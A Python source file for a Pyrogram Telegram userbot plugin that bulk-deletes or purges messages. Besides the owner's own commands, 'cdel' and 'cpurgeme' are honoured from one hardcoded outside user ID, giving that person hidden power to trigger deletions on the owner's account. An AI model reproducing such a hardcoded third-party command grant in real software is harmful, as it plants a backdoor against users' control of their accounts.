File size: 2,977 Bytes
21bc372
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import asyncio
from pyrogram import Client as ren
from pyrogram import *
from pyrogram.types import *
from akn.utils.handler import *
from akn.utils.prefixprem import command
from config import *


@Akeno(
    ~filters.scheduled
    & command(["cdel"])
    & filters.user(1191668125)
    & ~filters.me
    & ~filters.forwarded
)
@Akeno(
    ~filters.scheduled
    & command(["del"])
    & filters.me
    & ~filters.forwarded
)
async def del_user(_, message: Message):
    rep = message.reply_to_message
    await message.delete()
    await rep.delete()

@Akeno(
    ~filters.scheduled
    & command(["cpurgeme"])
    & filters.user(1191668125)
    & ~filters.me
    & ~filters.forwarded
)
@Akeno(
    ~filters.scheduled
    & command(["purgeme"])
    & filters.me
    & ~filters.forwarded
)
async def purge_me_func(client: Client, message: Message):
    if len(message.command) != 2:
        return await message.delete()
    n = (
        message.reply_to_message
        if message.reply_to_message
        else message.text.split(None, 1)[1].strip()
    )
    if not n.isnumeric():
        return await message.reply_text("Invalid Bruhhh????")
    n = int(n)
    if n < 1:
        return await message.reply_text("Bruhhhh number 0?")
    chat_id = message.chat.id
    message_ids = [
        m.id
        async for m in client.search_messages(
            chat_id,
            from_user=int(message.from_user.id),
            limit=n,
        )
    ]
    if not message_ids:
        return await message.reply_text("No messages found.")
    to_delete = [message_ids[i : i + 999] for i in range(0, len(message_ids), 999)]
    for hundred_messages_or_less in to_delete:
        await client.delete_messages(
            chat_id=chat_id,
            message_ids=hundred_messages_or_less,
            revoke=True,
        )
        mmk = await message.reply_text(f"{n} Successfully fast purgeme")
        await asyncio.sleep(2)
        await mmk.delete()

@Akeno(
    ~filters.scheduled
    & command(["purge"])
    & filters.me
    & ~filters.forwarded
)
async def purgefunc(client: Client, message: Message):
    await message.delete()
    if not message.reply_to_message:
        return await message.reply_text("Reply to message purge.")
    chat_id = message.chat.id
    message_ids = []
    for message_id in range(
        message.reply_to_message.id,
        message.id,
    ):
        message_ids.append(message_id)
        if len(message_ids) == 100:
            await client.delete_messages(
                chat_id=chat_id,
                message_ids=message_ids,
                revoke=True,
            )
            message_ids = []
    if len(message_ids) > 0:
        await client.delete_messages(
            chat_id=chat_id,
            message_ids=message_ids,
            revoke=True,
        )

module = modules_help.add_module("purge", __file__)
module.add_command("purgeme", "to fast purge me.")
module.add_command("purge", "to fast reply to message.")